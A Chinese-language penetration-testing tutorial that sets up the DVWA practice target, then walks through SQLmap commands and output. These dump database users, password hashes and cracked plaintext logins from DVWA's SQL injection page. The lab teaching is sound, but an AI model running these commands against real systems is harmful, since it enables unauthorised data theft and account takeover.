DVWA是一款滲透測試的演練系統，在圈子裡是很出名的。如果你需要入門，並且找不到合適的靶機，那我就推薦你用DVWA。

我們通常將演練系統稱為靶機，下面請跟著我一起搭建DVWA測試環境。如果你有一定的基礎，可以直接看下面一章節。

0x00 前言

我這裡用的是win7 系統，為啥要用win7。因為剛好我這裡有現成的系統。其實你用windows 2008 等等的都是可以的。

我只是用win7 舉個栗子,請看好下面。

0x01 VMware安裝

為什麼我要說下VMware的安裝？因為VMware能夠幫助你，更加方便的搭建DVWA。

下面是VMware的下載連結:

1	http://sw.bos.baidu.com/sw-search-sp/software/a08321b624453/VMware_workstation_full_12.5.2.exe

下載後執行，安裝。安裝教程如下：

http://jingyan.baidu.com/article/90895e0f95a07564ec6b0bc7.html

0x02 Win7安裝

請把Win7下載好。

https://www.microsoft.com/zh-cn/download/details.aspx?id=5842

然後在虛擬機器中配置。

1	http://jingyan.baidu.com/article/ff4116259a1e7d12e48237ad.html

0x03 安裝PHP整合環境

我這裡用的是phpstudy 2016，這個使用起來比較方便。下面是現在的最新版。

1	http://www.phpstudy.net/phpstudy/phpStudy20161103.zip

下載後然後放在安裝好的Win7種執行。

安裝起來比較容易，一直點下一步。然後會有初始化的提示點選是。

看的如下的視窗說明你安裝成功了。

0x04安裝DVWA 

從這裡面進行下載。

1	https://github.com/ethicalhack3r/DVWA

把下載好的DWVA的壓縮包，放在C:\phpStudy\WWW中（因為我將phpStudy安裝在C盤，所以是C:\phpStudy），然後解壓DWVA的壓縮包。

 

 下一步。需要配置DVWA連結資料庫，請開啟config資料夾，開啟config.inc.php。

 需要把db_password 修改成 root ，因為咱們剛安裝好的整合環境預設的MYSQL 連結使用者名稱和密碼為 root root。修改後別忘了儲存。

 0x05 讓我們登陸DVWA 

需要找到自己的本機IP，然後記下來。

 最後用瀏覽器訪問 http://192.168.0.5/DVWA-master/index.php （我這裡的IP是 192.168.0.5），選擇箭頭所指。

 將新開啟的頁面往下拉，點選箭頭所指。

 建立成功。哈哈。

然後咱們再次訪問 http://192.168.0.5/DVWA-master/login.php 需要輸入使用者名稱密碼。預設使用者名稱 admin 預設密碼 password。

 最後成功登陸DVWA，OK，撒花。

 本章到此就完了，下章為DWVA 的配置和暴力破解靶機。

===============================================================

什麼是SQLmap？

SQLmap是一款用來檢測與利用SQL注入漏洞的免費開源工具，有一個非常棒的特性，即對檢測與利用的自動化處理（資料庫指紋、訪問底層檔案系統、執行命令）。

SQLmap的作者是誰？

Bernardo DameleAssumpcao Guimaraes (@inquisb)，讀者可以通過[email protected]與他取得聯絡，以及Miroslav Stampar (@stamparm)讀者可以通過[email protected]與他聯絡。

同時讀者也可以通過[email protected]與SQLmap的所有開發者聯絡。

執行SQLmap的命令是什麼？

進入sqlmap.py所在的目錄，執行以下命令：

#python sqlmap.py -h

（譯註：選項列表太長了，而且與最新版本有些差異，所以這裡不再列出，請讀者下載最新版在自己機器上看吧）

SQLmap命令選項被歸類為目標（Target）選項、請求（Request）選項、優化、注入、檢測、技巧（Techniques）、指紋、列舉等。

如何使用SQLmap：

為方便演示，我們建立兩個虛擬機器：

1、受害者機器， windows     XP作業系統，執行一個web伺服器，同時跑著一個包含漏洞的web應用（DVWA）。

2、攻擊器機器，使用Ubuntu     12.04，包含SQLmap程式。

本次實驗的目的：使用SQLmap得到以下資訊：

3、列舉MYSQL使用者名稱與密碼。

4、列舉所有資料庫。

5、列舉指定資料庫的資料表。

6、列舉指定資料表中的所有使用者名稱與密碼。

使用SQLmap之前我們得到需要當前會話cookies等資訊，用來在滲透過程中維持連線狀態，這裡使用Firefox中名為“TamperData”的add-on獲取。

當前得到的cookie為“security=high;PHPSESSID=57p5g7f32b3ffv8l45qppudqn3″。

為方便演示，我們將DVWA安全等級設定為low：

接下來我們進入頁面的“SQL Injection”部分，輸入任意值並提交。可以看到get請求的ID引數如下：

“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#”

因此該頁面就是我們的目標頁面。

以下命令可以用來檢索當前資料庫和當前使用者：

“./sqlmap.py -u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit” –cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low” -b –current-db –current-user”

使用選項：

1、–cookie : 設定我們的cookie值“將DVWA安全等級從high設定為low”

2、-u : 指定目標URL

3、-b : 獲取DBMS banner

4、–current-db : 獲取當前資料庫

5、–current-user:獲取當前使用者

結果如下：

可以看到結果如下：

DBMS : MySQLversion 5.0
OS versionUbuntu 12.04
current user:root
current db :DVWA

以下命令用來列舉所有的DBMS使用者和密碼hash，在以後更進一步的攻擊中可以對密碼hash進行破解：

“sqlmap.py -u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit” --cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low” --string=”Surname” --users --password”

使用選項：

1、–string : 當查詢可用時用來匹配頁面中的字串

2、–users : 列舉DBMS使用者

3、–password : 列舉DBMS使用者密碼hash

結果如下：

databasemanagement system users [142]:
[*] ”@’kingasmk’
[*]”@’localhost’
[*]‘debian-sys-maint’@'localhost’
[*]‘phpmyadmin’@'localhost’
[*]‘root’@’127.0.0.1′
[*] ‘root’@'::1′
[*]‘root’@'kingasmk’
[*]‘root’@'localhost’

資料庫管理系統使用者和密碼hash：

[*]debian-sys-maint [1]:
password hash:*C30441E06530498BC86019BF3211B94B3BAB295A
[*] phpmyadmin[1]:
password hash:*C30441E06530498BC86019BF3211B94B3BAB295A
[*] root [4]:
password hash: *C30441E06530498BC86019BF3211B94B3BAB295A
password hash:*C30441E06530498BC86019BF3211B94B3BAB295A
password hash:*C30441E06530498BC86019BF3211B94B3BAB295A
password hash:*C30441E06530498BC86019BF3211B94B3BAB295A

讀者可以使用Cain&Abel、John&Ripper等工具將密碼hash破解為明文。以下命令會列舉系統中所有的資料庫schema：

“sqlmap.py -u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit”
--cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low” --dbs”

使用選項：

• –dbs: 列舉DBMS中的資料庫

結果如下：

availabledatabases [5]:
[*]dvwa
[*]information_schema
[*]mysql
[*]performance_schema
[*]phpmyadmin

下面我們嘗試列舉DVWA資料表，執行以下命令：

“sqlmap.py-u “http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit” --cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low” -D dvwa --tables”

使用選項：

1、-D : 要列舉的DBMS資料庫

2、–tables     : 列舉DBMS資料庫中的資料表

得到結果如下：

Database: dvwa
[2 tables]
+————+
| guestbook |
| users |
+————+

下面獲取使用者表的列，命令如下：

 “sqlmap.py -u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit” --cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low” -D dvwa -T users --columns”

使用選項：

• -T : 要列舉的DBMS資料庫表

• –columns : 列舉DBMS資料庫表中的所有列

結果如下：

Database: dvwa
Table: users
[6 columns]
+————+————-+
| Column | Type|
+————+————-+
| avatar |varchar(70) |
| first_name |varchar(15) |
| last_name |varchar(15) |
| password |varchar(32) |
| user |varchar(15) |
| user_id |int(6) |
+————+————-+

如上所示，以上為我們感興趣的列，表示使用者名稱與密碼等。下面將每一列的內容提取出來。執行以下命令，將使用者與密碼錶中的所有使用者名稱與密碼dump出來：

“sqlmap.py -u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit”–cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3; security=low” -D dvwa -T users-C user,password --dump”

使用選項：

• -T : 要列舉的DBMS資料表

• -C: 要列舉的DBMS資料表中的列

• –dump : 轉儲DBMS資料表項

SQLmap會提問是否破解密碼，按回車確認：

得到所有使用者名稱與明文密碼如下：

Database: dvwa
Table: users
[5 entries]
+———+———+———————————————+
| user_id | user| password |
+———+———+———————————————+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99(password) |
| 2 | gordonb |e99a18c428cb38d5f260853678922e03 (abc123) |
| 3 | 1337 |8d3533d75ae2c3966d7e0d4fcc69216b (charley) |
| 4 | pablo |0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) |
| 5 | smithy |5f4dcc3b5aa765d61d8327deb882cf99 (password) |
+———+———+———————————————+

這時我們就可以利用admin帳戶登入做任何事了。

總結：

SQLmap是一個非常強大的工具，可以用來簡化操作，並自動處理SQL注入檢測與利用。